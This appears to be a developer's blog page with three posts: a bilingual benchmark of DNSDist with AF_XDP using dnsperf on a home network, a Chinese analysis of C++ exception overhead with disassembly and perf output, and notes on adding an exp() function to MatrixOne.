Speed up DNSDist with AF_XDP

Chinese readers can read the Chinese version of this article.
中文读者可阅读本文的中文版本

Preface

DNSDist is an excellent DNS load balancer, and AF_XDP is an emerging high-performance Linux asynchronous IO interface that benefits from eBPF.
It is a great honor for Y7n05h to participate in the AF_XDP transformation of DNSDist as a contributor.

It’s an honor to have Y7n05h as a contributor to improve DNSDist with AF_XDP.

The changes to the UDP part of DNSDist have long since come to an end. This performance-improving modification requires profiling data to validate.

So, let’s start the fun performance analysis.

Test environment information

Laptop
OS: ArchLinux
Kernel Version: 5.19.1-arch2-1
CPU: AMD Ryzen 7 4800H with Radeon Graphics
MEM: DDR4 64G
NIC: Intel Corporation Wi-Fi 6 AX200 (rev 1a)
DNSPerf Version: 2.9.0
GCC Version: 12.1.1
Libxdp Version:1.2.5

PC1
OS: ArchLinux
Kernel Version: 5.19.1-arch2-1
CPU: Intel(R) Core(TM) i5-8500 CPU @ 3.00GHz
MEM: DDR4 8G
NIC: Intel Corporation Wi-Fi 6 AX200 (rev 1a)

PC2
OS: Ubuntu
Kernel Version: 5.15.0-46-generic
CPU: 12th Gen Intel(R) Core(TM) i7-12700KF
MEM: DDR4 64G
NIC: Broadcom Inc. and subsidiaries BCM4360 802.11ac Wireless Network Adapter (rev 03)

Thanks to @ajian2002 for lending PC2 to Y7n05h.

Source Code:
DNSDist With AF_XDP(AF_XDP verion): https://github.com/Y7n05h/pdns/commit/d42e356a48a433a9f4efae9c3dd648101a37abdf
DNSDist Without AF_XDP(Normal version): https://github.com/Y7n05h/pdns/commit/f5e76c2a6932ec4360d38219fb515d26d538b40d

In this test, Y7n05h uses Laptop to generate the requests for testing, PC1 to run the DNSDist instance to be tested, and PC2 to run the SmartDNS service.
Laptop, PC1 and PC2 are all connected to the gateway (192.168.30.1) using WIFI, and Laptop, PC1 and PC2 access each other via WIFI. Unfortunately, the network used in this test environment was still used by numerous other devices during the test, so Y7n05h cannot exclude experimental errors caused by fluctuations in the network environment.

The test tool uses DNSPerf. The test resolves A records for 12018 different domains, only once for each domain in each test.

For the tests, SmartDNS was used as the DNS server. There is no particular reason to use SmartDNS, except that Y7n05h is familiar with it and it is easy to build and deploy SmartDNS on Ubuntu.

During the test, Y7n05h used Laptop to send DNS query requests to PC1 running DNSDist. SmartDNS then concurrently sends the DNS requests to the 4 DNS servers 1.1.1.1, 1.0.0.1, 8.8.8.8, 119.29.29.29 (if necessary) and replies to DNSDist with the first response received.

In this test, Y7n05h sent a lot of DNS query requests to the above 4 public DNS servers frequently due to testing needs, Y7n05h expresses sincere thanks to Cloudflare, Google, DNSPod for providing these public DNS services. (Although Y7n05h performed a large number of DNS queries during the test, these queries are cached by DNSDist, SmartDNS, and not every query sends a request to the above servers. (Therefore Y7n05h feels this is acceptable, which is fundamentally different from DDoS.) Also, in order to eliminate as much interference as possible from the DNS service’s cache for this test, Y7n05h has used DNSPerf to repeatedly send resolution requests to SmartDNS for all domains used in the test before the start of this test.

In the current network environment, Y7n05h’s subjective guess is that DNS query requests are still dominated by A records and AAAA records. Since Y7n05h’s environment does not have good IPv6 support, the resolution of A records was used as a performance indicator in this test. Since Y7n05h cannot verify the correctness of the DNS resolution results, we do not consider correctness as a metric in this performance analysis.

It should also be noted that the DNSDist configuration used in this test has been simplified for testing purposes and may differ significantly from the DNSDist configuration in the production environment. Therefore, this test by Y7n05h does not fully reflect the performance of AF_XDP’s optimization of DNSDist in a production environment.

As we all know, the DNS protocol uses recursive resolution, and the response time of requests is greatly affected by whether the query domain hits the DNS server’s cache or not.

In summary, this test by Y7n05h may be biased and may be inaccurate. The following is only the opinion of Y7n05h.

Performance Tests

The uniq.txt contains and only contains 12018 non-repeating domains.

In this article, the horizontal axis of all lines is the number of runs, and the number of DNSPerf runs is incremented by 1 for each DNSPerf run, the result of multiple DNSPerf executions for the same DNSDist process instance on the same curve. The points on the same curve are listed in chronological order from left to right. Any two DNSPerf’s do not overlap.

To simplify the exposition of this paper, Y7n05h hereby agrees with the reader that

  • The version of DNSDist that uses AF_XDP is omitted as “AF_XDP version”.
  • DNSDist version without AF_XDP is omitted as “Normal version”.

Test 1

The following command was used in this test to run DNSPerf:

1
dnsperf -s 192.168.30.170 -p 5300 -d uniq.txt

In test 1, Y7n05h ran the AF_XDP version first, then the Normal version, and finally the AF_XDP version again.

Looking at the average latency first, there is a decreasing trend in the average latency regardless of the fold. The decreasing average latency is generally due to the fact that after multiple DNSPerf executions, SmartDNS and the downstream servers have increased their hit rate for the domain name caches involved in the DNSPerf in this test. This is evidenced by the fact that the average latency of “re-running AF_XDP version” after “running Normal version” is significantly lower than the previous test results. Based on the data available at this time, it is not possible to determine the impact of AF_XDP on average latency.

For the metric of query loss, the AF_XDP version is significantly lower than the Normal version. The number of lost queries with the AF_XDP version tends to increase slowly with the number of tests.

For the average number of queries per second, or throughput, using the AF_XDP version is significantly better than the Normal version. Considering that the fetch time of the data in the blue curve is between the green and red curves, the effect of caching on the AF_XDP version is that it enhances the green curve and degrades the red curve. This is a strong enough comparison for the non-AF_XDP version of DNSDist with the blue curve to show the throughput advantage of AF_XDP.

The runtime is the time consumed for a complete execution of DNSPerf. The conclusion here is also that the AF_XDP version outperforms the Normal version. The conclusions here are similar to those from the throughput analysis, and Y7n05h does not repeat them.

Even considering the caching impact on DNS in queries such as DNSDist, SmartDNS, etc. results in DNSPerf speeding up in the time dimension one by one. What can be clearly concluded at this point is that AF_XDP significantly improves DNSDist’s throughput in the current scenario. The impact on query latency may still require further testing.

Test 2

The following command was used in this test to run DNSPerf:

1
dnsperf -s 192.168.30.170 -p 5300 -d uniq.txt -c 500 -T 16

In Test 2, the concurrency of the test was increased by adding command line arguments. Test 2 ran the Normal version first and the AF_XDP version second.

Note: Test 2 was not run consecutively with Test 1, which may have affected the DNS cache.

The average latency of the AF_XDP version is still decreasing and is not significantly different from the Normal version in the last two tests. y7n05h I personally guess that if we increase the number of tests, the average latency of the AF_XDP version may be lower than the Normal version as the cache command increases. The average significant latency of the AF_XDP version was higher than the Normal version in the first 3 tests, perhaps because the cache in DNSDist was cleared by stopping the Normal version and running the AF_XDP version. the effect of AF_XDP on the average latency still needs further testing.

Comparing the query misses for the Normal and AF_XDP versions, they remain similar to those in Test 1. There is also no significant change in the number of queries lost compared to Test 1.

In terms of throughput, the gap between the AF_XDP version and the Normal version increases further for more concurrent query requests, and tends to increase with the number of tests.

The AF_XDP version is significantly less time consuming than the Normal version for one DNSPerf execution. This is similar to what was found in Test 1.

Summary

AF_XDP significantly improves DNSDist throughput, but risks increasing the average latency per request (which needs to be further verified).

In terms of throughput alone, it is conservatively estimated that AF_XDP can more than double the throughput of DNSDist.

From the tests here, it appears that AF_XDP is a technique that has the potential to significantly improve the throughput of UDP-based web services.

用 AF_XDP 加速 DNSDist

英文读者可阅读本文的 英文版本
English readers can read the English version of this article.

前言

DNSDist 是一个优秀的 DNS 负载均衡器,AF_XDP 则是得益于 eBPF 而产生的新兴的高性能 Linux 异步 IO 接口。
很荣幸 Y7n05h 能作为一个贡献者,参与 DNSDist 的 AF_XDP 改造。

目前,对 DNSDist 的 UDP 部分的改造早已告一段落。这种意在提高性能的修改成果当然不该只是纸上谈兵。
收集压测数据,进行性能分析才是最有说服力的成绩单。

那么,便开始有趣的压测吧。

压测环境

Laptop
OS: ArchLinux
Kernel Version: 5.19.1-arch2-1
CPU: AMD Ryzen 7 4800H with Radeon Graphics
MEM: DDR4 64G
NIC: Intel Corporation Wi-Fi 6 AX200 (rev 1a)
DNSPerf Version: 2.9.0
GCC Version: 12.1.1
Libxdp Version:1.2.5
压测过程中 Laptop 的 CPU、MEM、NIC 始终保持着低负载。

PC1
OS: ArchLinux
Kernel Version: 5.19.1-arch2-1
CPU: Intel(R) Core(TM) i5-8500 CPU @ 3.00GHz
MEM: DDR4 8G
NIC: Intel Corporation Wi-Fi 6 AX200 (rev 1a)
压测过程中 PC1 除必要的系统进程外,仅运行了 DNSDist。

PC2
OS: Ubuntu
Kernel Version: 5.15.0-46-generic
CPU: 12th Gen Intel(R) Core(TM) i7-12700KF
MEM: DDR4 64G
NIC: Broadcom Inc. and subsidiaries BCM4360 802.11ac Wireless Network Adapter (rev 03)
压测过程中 PC2 的 CPU、MEM、NIC 始终保持着低负载。

感谢 @ajian2002 提供的 PC2 ,让 Y7n05h 有了稳定运行的 SmartDNS 服务。这对本次压测有很大的帮助。

源码信息:
DNSDist With AF_XDP: https://github.com/Y7n05h/pdns/commit/d42e356a48a433a9f4efae9c3dd648101a37abdf
DNSDist Without AF_XDP: https://github.com/Y7n05h/pdns/commit/f5e76c2a6932ec4360d38219fb515d26d538b40d

本次测试中,Y7n05h 使用 Laptop 下发压测流量,使用 PC1 运行待测试的 DNSDist 实例,使用 PC2 运行 SmartDNS 服务。
Laptop、PC1、PC2 均使用 WIFI 连接至网关(192.168.30.1)。Laptop、PC1、PC2 通过 WIFI 相互访问。遗憾的是这次测试环境中使用的网络在测试过程中仍然被众多其他设备使用,因此 Y7n05h 也无法排除由网络环境波动导致的实验误差。

测试工具使用 DNSPerf。测试中解析 12018 个不同域名的 A 记录,每次测试中每个域名仅解析一次。

测试中,使用 SmartDNS 作为 DNS 服务器。使用 SmartDNS 并没有什么特别的原因,只是因为 Y7n05h 很熟悉它并且在 Ubuntu 上构建并部署 SmartDNS 很方便。

测试过程中,Y7n05h 使用 Laptop 向运行 DNSDist 的 PC1 发送压测请求,PC1 上运行的 DNSDist 解析并处理 DNS 请求后,发送给运行 SmartDNS 的 PC2(如果有必要的话),SmartDNS 则在收到 DNS 请求后并发的发送给 1.1.1.11.0.0.18.8.8.8119.29.29.29 这 4 个 DNS 服务器(如果有必要的话),并将最先接收到的响应回复给 DNSDist。

在本次测试中,因测试需要,Y7n05h 频繁的向上述 4 个公共 DNS 服务器发送了大量的 DNS 请求,Y7n05h 对 Cloudflare、Google、DNSPod 提供的这些公共 DNS 服务表示真心的感谢。(Y7n05h 虽然在测试中进行了大量的 DNS 查询,但这些查询会被 DNSDist、SmartDNS 缓存,并不是每次查询都会向上述服务器发送请求。因此 Y7n05h 自认为本次测试中的做法并未超出合理限度。)同时,为了尽最大可能的排除 DNS 服务的缓存为本次测试造成的干扰,在本次测试开始前,Y7n05h 已使用 DNSPerf 反复多次向 SmartDNS 发送在测试中使用的所有域名的解析请求。

目前的网络环境中,Y7n05h 主观猜测 DNS 请求仍旧以 A 记录 和 AAAA 记录为主,且 Y7n05h 所在的环境中 IPv6 支持并不好。因此 Y7n05h 在这次测试中就以 A 记录的解析能力作为衡量性能的指标。另一方面,Y7n05h 也无法验证 DNS 的解析结果的正确性,因此 Y7n05h 在这次性能分析中不考虑正确性这一指标。

还需要指明的是,这次测试中使用的 DNSDist 配置为了测试方便做出了众多简化,和生产环境中对 DNSDist 的配置可能有较大差异。因此 Y7n05h 的这次测试并不能完全反应 AF_XDP 对 DNSDist 的优化在生产环境中的表现。

众所周知,DNS 协议使用递归的解析方式,请求的响应时间极大的受查询域名是否命中 DNS 服务器的缓存影响。

综上所述,Y7n05h 的这次测试可能是有失偏颇的,可能是不精确的。以下内容仅代表 Y7n05h 观点。

压力测试

uniq.txt 中包含且仅包含 12018 个不重复的域名。

在本文中,所有折线的横轴均为运行的次数,每运行一次 DNSPerf 次数递增 1,同一条曲线对同一 DNSDist 进程实例多次执行 DNSPerf 的结果。同一条曲线上的点,按照时间顺序由左向右排列。任意两次 DNSPerf 均不重叠。

为简化本文论述,Y7n05h 在此与读者约定:

  • 使用 AF_XDP 的 DNSDist 版本省略为「AF_XDP 版」
  • 不使用 AF_XDP 的 DNSDist 版本省略为「Normal 版」

测试1

本次测试中使用如下命令运行 DNSPerf:

1
dnsperf -s 192.168.30.170 -p 5300 -d uniq.txt

在测试 1 中,Y7n05h 先运行了 AF_XDP 版本,然后运行 Normal 版本,最后再次运行 AF_XDP 版。

先看平均延迟,总体来看,无论哪条折线,平均延迟均呈递减趋势。平均延迟呈递减趋势的原因大致为多次执行 DNSPerf 后,SmartDNS 和上游服务器对本次测试中 DNSPerf 涉及的域名缓存命中率逐次提高所致。这一点在「运行完 Normal 版」后,「重新运行 AF_XDP 版」的平均延迟显著低于先前的测试成绩得到印证。根据目前现有的数据,无法判断 AF_XDP 本身对平均延迟的影响

对查询丢失这一指标而言,AF_XDP 版本显著低于正常版。使用 AF_XDP 版本的查询丢失数量随测试次数增加有缓慢递增趋势。

对平均每秒查询数量,或者说吞吐量来说,使用 AF_XDP 版本显著优于 Normal 版本。考虑蓝色折线中的数据的获取时间介于绿色折线和红色折线,缓存对 AF_XDP 版本的影响是增强了绿色曲线而劣化了红色曲线,故此,若以蓝色曲线执行时的缓存情况作为基准,使用 AF_XDP 的 DNSDist 的真实吞吐量大致引介于红色曲线和绿色曲线之间,这对蓝色曲线的不使用 AF_XDP 版本的 DNSDist 而言,有足够强的对比,足够体现 AF_XDP 的吞吐量优势。

运行时间为完整执行一次 DNSPerf 所消耗的时间。这里的结论也是 AF_XDP 版本优于 Normal 版本。这里的结论和从吞吐量分析得来的结论类似,Y7n05h 不再赘述。

即使考虑到 DNSDist、SmartDNS 等查询中对 DNS 的缓存影响导致 DNSPerf 在时间维度上逐次加速。目前能明确得出结论的是,AF_XDP 能显著提升 DNSDist 在当前场景下的吞吐量。对查询延迟的影响,可能仍然需要进一步测试。

测试2

1
dnsperf -s 192.168.30.170 -p 5300 -d uniq.txt -c 500 -T 16

在测试 2 中,通过添加命令行参数,提高了测试的并发量。测试2 中先运行了 Normal 版本,后运行了 AF_XDP 的版本。

注意:测试2 与 测试1 并不连续进行,这可能影响了 DNS 的缓存。

还是先看平均延迟,可以看到后运行的 AF_XDP 版本的延迟仍然呈现递减趋势,在最后的两次测试中与 Normal 版本并无显著差异。Y7n05h 个人猜测若增加测试次数,随着缓存命令中的提高,AF_XDP 版本的平均延迟或将低于 Normal 版。前 3 次测试中,AF_XDP 版的平均显著延迟高于 Normal 版,或许是停止 Normal 版并运行 AF_XDP 版,导致 DNSDist 中的缓存被清除所致。AF_XDP 对平均延迟的影响,仍需进一步测试。

对比 Normal 版和 AF_XDP 版的查询丢失情况,两者仍保持了与 测试1 中相似的情况。且查询丢失数量与 测试1 相比也无明显变化。

就吞吐量而言,加大并发量的查询请求中,AF_XDP 版与 Normal 版的差距进一步增大,且有随测试次数增加继续增大差距的趋势。

对执行一次 DNSPerf 的耗时而言,AF_XDP 版明显低于 Normal 版。这与 测试1 中得到的结论相似。

总结

AF_XDP 能显著提高 DNSDist 的吞吐量,但有提高平均每次请求的延迟的风险(这还需要进一步验证)。

仅就吞吐量而言,保守估计 AF_XDP 能提升 DNSDist 的吞吐量一倍以上。

从这里的测试来看, AF_XDP 这项技术有可能明显提升基于 UDP 的网络服务的吞吐量。

浅谈 C++ 异常的性能

起因

这件事的开端有些离奇,Y7n05h 在完成 Leetcode 题目 LRU Cache 时写出了这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
class LRUCache {
struct DoubleLinkListNode {
DoubleLinkListNode *prev;
DoubleLinkListNode *next;
int key;
int value;
};
class DoubleLinkList {
DoubleLinkListNode head;
DoubleLinkListNode tail;

public:
int size{};
DoubleLinkList() {
head.prev = nullptr;
head.next = &tail;
tail.next = nullptr;
tail.prev = &head;
}
void moveToHead(DoubleLinkListNode *node) {
node->prev->next = node->next;
node->next->prev = node->prev;

node->next = head.next;
node->prev = &head;

head.next->prev = node;
head.next = node;
}
DoubleLinkListNode *back() const {
return tail.prev;
}
DoubleLinkListNode *newNode(int key, int value) {
auto *node = new DoubleLinkListNode;

node->next = head.next;
node->prev = &head;

head.next->prev = node;
head.next = node;

node->key = key;
node->value = value;
++size;
return node;
}
};


public:
LRUCache(int capacity) : cap(capacity) {
}


int get(int key) {
try {
auto *node = map.at(key);
list.moveToHead(node);
return node->value;
} catch (std::out_of_range &) {
return -1;
}
return -1;
}

void put(int key, int value) {
try {
auto *node = map.at(key);
node->key = key;
node->value = value;
list.moveToHead(node);
} catch (std::out_of_range &) {
if (list.size == cap) {
auto *node = list.back();
map.erase(node->key);
map[key] = node;
node->key = key;
node->value = value;
list.moveToHead(node);
} else {
auto *node = list.newNode(key, value);
map[key] = node;
}
}
}


int cap = 0;
DoubleLinkList list;
unordered_map<int, DoubleLinkListNode *> map;
};

这样的代码虽然被 Accept 了,但性能并不好,在运行时间上只击败了 5% 的 C++ 提交。对此成绩,Y7n05h 属实不能接受。

代码中对以元素的查找都是的,链表的访问也都是从头尾访问或是直接通过指针访问链表节点,甚至链表节点也会被复用,减少内存分配器的开销。
排除众多无可优化之处,Y7n05h 凭借直觉认为是 异常 拖慢了程序的运行。

这也好办,只需修改 LRUCache::getLRUCache::put 即可。可以看到,代码中对异常的应用实际上只有用来检测 key 是否在 map 中。那么改用 std::unordered_map::count 来判断就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int get(int key) {
if (map.count(key) == 0)
return -1;
auto *node = map.at(key);
list.moveToHead(node);
return node->value;
}

void put(int key, int value) {
if (map.count(key)) {
auto *node = map.at(key);
node->key = key;
node->value = value;
list.moveToHead(node);
return;
}
if (list.size == cap) {
auto *node = list.back();
map.erase(node->key);
map[key] = node;
node->key = key;
node->value = value;
list.moveToHead(node);
} else {
auto *node = list.newNode(key, value);
map[key] = node;
}
}

修改后,代码的运行时间击败了 90% 左右的提交。

那么问题来了,为什么一个异常对性能的影响这么大?

性能分析

为了本地环境测试两版程序的性能,Y7n05h 编写了如下测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main() {
LRUCache cache(2);
for (int i = 0; i < 1000000; i++) {
cache.put(1, 0);
cache.put(2, 2);
printf("%d\n", cache.get(1));
cache.put(3, 3);
printf("%d\n", cache.get(2));
cache.put(4, 4);
printf("%d\n", cache.get(1));
printf("%d\n", cache.get(3));
printf("%d\n", cache.get(4));
}
}

两版程序均使用相同的编译参数进行编译:

1
clang++ -stdlib=libc++ -O2 -flto -g lru1.cpp

为了尽可能展现现代 C++ 程序所能获得的编译器优化后的性能差异,Y7n05h 开启了 O2lto

测试环境:

1
2
3
4
5
6
clang version: 13.0.1
libc++: 13.0.1
Linux Kernel version: 5.17.5
glibc version: 2.35
gcc-libs: 11.2.0
perf: 5.17

这是使用异常机制的程序性能火焰图:

这是不使用异常机制的程序性能火焰图:

如果这还不够明显,那还可依看看 perf diff 的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
21.05%    -19.30%  libc.so.6             [.] __vfprintf_internal
+18.98% libgcc_s.so.1 [.] execute_cfa_program
+13.11% libgcc_s.so.1 [.] uw_frame_state_for
12.12% -11.31% libc.so.6 [.] _IO_file_xsputn
11.84% -10.64% libc.so.6 [.] __write
+10.49% libgcc_s.so.1 [.] uw_update_context_1
+9.05% libgcc_s.so.1 [.] _Unwind_IteratePhdrCallback
+4.76% libc++abi.so.1.0 [.] __gxx_personality_v0
4.86% -4.48% libc.so.6 [.] _IO_file_write
4.20% -3.84% libc.so.6 [.] new_do_write
+3.60% libc++abi.so.1.0 [.] __cxa_call_unexpected
+3.47% libgcc_s.so.1 [.] uw_install_context_1
+3.44% libgcc_s.so.1 [.] read_encoded_value_with_base
+3.28% libc.so.6 [.] __strlen_avx2

可以看到 execute_cfa_programuw_frame_state_foruw_update_context_1 在改动前后变化很大。一个重要线索是这些和栈展开有关的函数都在 libgcc_s.so.1 中。

从此处可知, clang 编译的程序也是使用 libgcc 实现的栈展开机制。

异常的实现

在此前 Y7n05h 只知道异常的原理是栈展开,但对细节一概不知道。借这次的机会来稍微看看异常处理的原理吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* SimpleException.cpp */
#include <cstdio>
#include <cstdlib>
#include <exception>
void bar(unsigned int n) {
if (n & 1) {
throw std::exception();
}
}

void foo(int n) {
try {
bar(n);
} catch (...) {
printf("exception\n");
}
printf("End\n");
}
int main(int argc, char *argv[]) { foo(atoi(argv[1])); }

看看 bar 函数的反汇编(使用 Intel 风格):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x0000000000401995 <+0>:     push   rbp
0x0000000000401996 <+1>: mov rbp,rsp
0x0000000000401999 <+4>: push rbx
0x000000000040199a <+5>: sub rsp,0x18
0x000000000040199e <+9>: mov DWORD PTR [rbp-0x14],edi
0x00000000004019a1 <+12>: mov eax,DWORD PTR [rbp-0x14]
0x00000000004019a4 <+15>: and eax,0x1
0x00000000004019a7 <+18>: test eax,eax
0x00000000004019a9 <+20>: je 0x4019dc <bar(unsigned int)+71>
0x00000000004019ab <+22>: mov edi,0x8
0x00000000004019b0 <+27>: call 0x401dc0 <__cxa_allocate_exception>
0x00000000004019b5 <+32>: mov rbx,rax
0x00000000004019b8 <+35>: mov rdi,rbx
0x00000000004019bb <+38>: call 0x401a96 <std::exception::exception()>
0x00000000004019c0 <+43>: mov rax,0x402080
0x00000000004019c7 <+50>: mov rdx,rax
0x00000000004019ca <+53>: lea rax,[rip+0xc7dc7] # 0x4c9798 <typeinfo for std::exception>
0x00000000004019d1 <+60>: mov rsi,rax
0x00000000004019d4 <+63>: mov rdi,rbx
0x00000000004019d7 <+66>: call 0x402e30 <__cxa_throw>
0x00000000004019dc <+71>: nop
0x00000000004019dd <+72>: mov rbx,QWORD PTR [rbp-0x8]
0x00000000004019e1 <+76>: leave
0x00000000004019e2 <+77>: ret

可以看到汇编中使用 __cxa_throw 将异常抛出,call __cxa_throw 执行结束并不返回到后面的一条汇编,而是跳转到对应的 catch 语句(后文会提及)或 terminate(如果异常不被 catch)。

这是在抛出异常时的部分调用栈(箭头由 调用者 指向 被调用者):

__cxa_throw -> _Unwind_RaiseException -> uw_init_context_1 -> uw_frame_state_for -> _Unwind_Find_FDE -> search_object -> classify_object_over_fdes

__cxa_throw -> _Unwind_RaiseException -> uw_init_context_1 -> uw_frame_state_for -> execute_cfa_program

对这段代码涉及的代码不算太长但也不短,感兴趣的读者可以去 gcc 的源码里面自行查找,Y7n05h 在这里就不放了。

看到这些函数,就不会问出:「一次异常和一次 if-else 的性能比较」的问题了。

注:和一次 if-else 相比,异常机制 必然 有更多的开销。因为抛出异常的机制的代码数量和单次 if-else 相比是多个数量级的差异,根本没有比较的意义。但用这样的对比来说明「错误码」和「异常」这两种错误处理的机制的性能是荒谬的(详见下文)。

因此,异常机制对代码的 bad path 是通常是劣化。

刚刚看完了 throw 的实现,再看看 catch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x00000000004019e3 <+0>:     push   rbp
0x00000000004019e4 <+1>: mov rbp,rsp
0x00000000004019e7 <+4>: push rbx
0x00000000004019e8 <+5>: sub rsp,0x18
0x00000000004019ec <+9>: mov DWORD PTR [rbp-0x14],edi
0x00000000004019ef <+12>: mov eax,DWORD PTR [rbp-0x14]
0x00000000004019f2 <+15>: mov edi,eax
0x00000000004019f4 <+17>: call 0x401995 <bar(unsigned int)>
0x00000000004019f9 <+22>: lea rax,[rip+0x98604] # 0x49a004
0x0000000000401a00 <+29>: mov rdi,rax
0x0000000000401a03 <+32>: call 0x421a00 <puts>
0x0000000000401a08 <+37>: jmp 0x401a3b <foo(int)+88>
0x0000000000401a0a <+39>: mov rdi,rax
0x0000000000401a0d <+42>: call 0x401f30 <__cxa_begin_catch>
0x0000000000401a12 <+47>: lea rax,[rip+0x985ef] # 0x49a008
0x0000000000401a19 <+54>: mov rdi,rax
0x0000000000401a1c <+57>: call 0x421a00 <puts>
0x0000000000401a21 <+62>: call 0x401fa0 <__cxa_end_catch>
0x0000000000401a26 <+67>: jmp 0x4019f9 <foo(int)+22>
0x0000000000401a28 <+69>: mov rbx,rax
0x0000000000401a2b <+72>: call 0x401fa0 <__cxa_end_catch>
0x0000000000401a30 <+77>: mov rax,rbx
0x0000000000401a33 <+80>: mov rdi,rax
0x0000000000401a36 <+83>: call 0x4102f0 <_Unwind_Resume>
0x0000000000401a3b <+88>: mov rbx,QWORD PTR [rbp-0x8]
0x0000000000401a3f <+92>: leave
0x0000000000401a40 <+93>: ret

bar 不抛出异常,0x00000000004019f4 <+17>: call 0x401995 <bar(unsigned int)> 执行完成后会正常返回至 0x00000000004019f9 <+22>: lea rax,[rip+0x98604] # 0x49a004;若 bar 抛出异常,执行完这次 0x00000000004019f4 <+17>: call 0x401995 <bar(unsigned int)> 后会回到 0x0000000000401a0a <+39>: mov rdi,rax
可以看到这个 try { ... } 其实并没有开销,开销在 catch 上。
与使用错误码相比,使用异常的方案在 happy path(不抛出异常的情况) 上,消除了一次条件跳转(或多次条件跳转,如果结果需要在多层函数调用间逐层返回的话),众所周知,条件跳转是有可能带来 分支预测惩罚 的。因此,异常机制对代码的 happy path 是优化。

再看看 __cxa_begin_catch__cxa_end_catch 的部分调用栈(箭头由 调用者 指向 被调用者):

__cxa_begin_catch -> __cxa_get_globals

__cxa_end_catch -> __cxa_get_globals_fast
__cxa_end_catch -> _Unwind_DeleteException

这些调用栈都很浅。对整个 throwcatch 的机制来说,复杂度在 throw 上,catch 只做了很少的工作,这一点从调用栈的长度也能看出一点端倪。

是否该使用异常?

上文的讨论中,已经说明了异常机制在代码的 happy path 比错误码具有更多的优势,在 bad path 与错误码相比则具有劣势。
在较深的调用栈中逐层返回错误码可能需要使用多次 if-else 完成多次条件跳转,这也带来了多次潜在的 分支预测惩罚 。此时使用异常所需的成本 可能 相对较低。

高效使用异常必然该是 扬长避短 的,只讨论 happy pathexception 的优势,或是只讨论 bad pathexception 的劣势都是片面的。
讨论异常的使用必然需要综合这两方面的影响。
因此,在绝大多数情况都在 happy path 时,happy path 带来的优化比 bad path 带来的劣化多,使用异常才比使用错误码有优势。

回到最开始的 leetcode 题目上去,异常在查找 LRU 缓存中不存在的 key 时被抛出,显然不是(至少在这个测试的情景中显然不是)极少数情况。Y7n05h 在这里的对异常的用法,将异常作为了一种常见情况的控制流,已经背离了扬长避短的做法,性能差也就不奇怪了。

更详细、严谨的说明异常和一些别的处理错误的方式的比较,以及何时该使用异常请看参考资料 1 和参考资料 2。

异常的原理

对于 Y7n05h 而言,至此已经解决所遇到的问题了:异常有多慢,异常的正确使用场景是什么也都有了答案。
这一段只是为了浅浅的看看为什么 throw 会那么慢,这也就需要看看 __cxa_throw 究竟是怎么实现的。

如需详细、具体的了解 C++ 异常的实现原理请看参考资料 3,那是非常棒的资料。

在抛出异常时,程序需要在 ELF.eh_frame section 的信息的指导下完成对栈的两次遍历(一次用来查找 catch 一次用来逐层的对栈上的元素执行析构)。

.eh_frame section 占据的空间一点也不小。
对上面用作示例的 SimpleException.cpp 程序 .eh_frame section 占据了 0x108 bytes,而 .text section 也才占据了 0x1ef bytes

参考资料

1:Bjarne Stroustrup. C++ exceptions and alternatives[G/OL]. http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p1947r0.pdf.
2:Herb Sutter. Zero-overhead deterministic exceptions: Throwing values[G/OL]. http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p0709r4.pdf.
3:Nico Brailovsky. C++ exceptions under the hood[G/OL]. https://monkeywritescode.blogspot.com/p/c-exceptions-under-hood.html.
4:江召伟. c++ 异常处理[G/OL]. https://www.cnblogs.com/jiangzhaowei/p/4989197.html.

MatrixOne 开发感悟

初识

这里也还没听说过 MatrixOne 的读者介绍一下:

MatrixOne is a future-oriented hyper-converged cloud and edge native DBMS that supports transactional, analytical, and streaming workloads with a simplified and distributed database engine, across multiple data centers, clouds, edges and other heterogeneous infrastructures.[1]

以 Y7n05h 的个人感受,这是一个正在蓬勃发展的社区。仅仅是最近几天 Github 的主分支上就已经有了很多的提交。

恰逢 Y7n05h 对数据库系统的设计还是非常感兴趣的,Y7n05h 还是像去参与进去看看能不能完成一些社区所需要的功能。

参与

当然,要参与社区贡献,那也不是随随便便就参与的。首先,Y7n05h 看了下 CoC,仔细的看了下里面的条款,Y7n05h 认为里面的内容和自己的价值观是基本基本一致的,也是一个很包容新的参与者的社区。又看了一项目的下 License,发现是 Apache-2.0 这也是 FSF 和 OSI 共同批准的自由软件/自由软件许可证。

看完这些 Y7n05h 对 MatrixOne 社区也没有别的顾虑了,放心的在 issues 里面找了个带有 good first issue 标签的简单的 issues 去完成。

[Feature Request]: Mathematical Built-in function exp()

这就是 Y7n05h 决定去完成的 issue 了。
这个 issues 就是去实现 exp() 这个函数,也就是数学中的 $e^x$ 。issues 中给出了一个十分详细的文档 用来指导贡献者如何为 MatrixOne 添加一个新的内置函数。

说回 exp() ,这是一个常见的数学函数,为了便于说明,Y7n05h 还是放出他的图像。

相信中学的知识足够得出它的定义域是 $R$ 值域是 $(0,+\infty)$ 。

感觉这函数的数学特性,需要作出一些合理的设计。首先要想的是这个函数的返回值该是什么类型。
Y7n05h 想过,是否该接受一个整数类型的输入并返回一个小数部分被阶段的整数类型的结果。但这是不合理的。因为 $e^{45}$ 即使存储在 Uint64 里面也会发生整数溢出。也就意味着,倘若返回一个整数,若以任何大于等于 45 的整数作为参数进行调用 exp() 都会得到一个溢出后的数据。这显然是不可接受的。
那么,如何解决这种困境呢?通过将返回类型更改为浮点数这样不但在输入较小时不受指数函数的爆炸式增长的影响,且在输入数据较大时能够以精度的损失为代价保存下结果的近似值。

因此,不难想到,接受任意的整数或浮点数类型,并输出一个 float64 是一个最合适的选择。

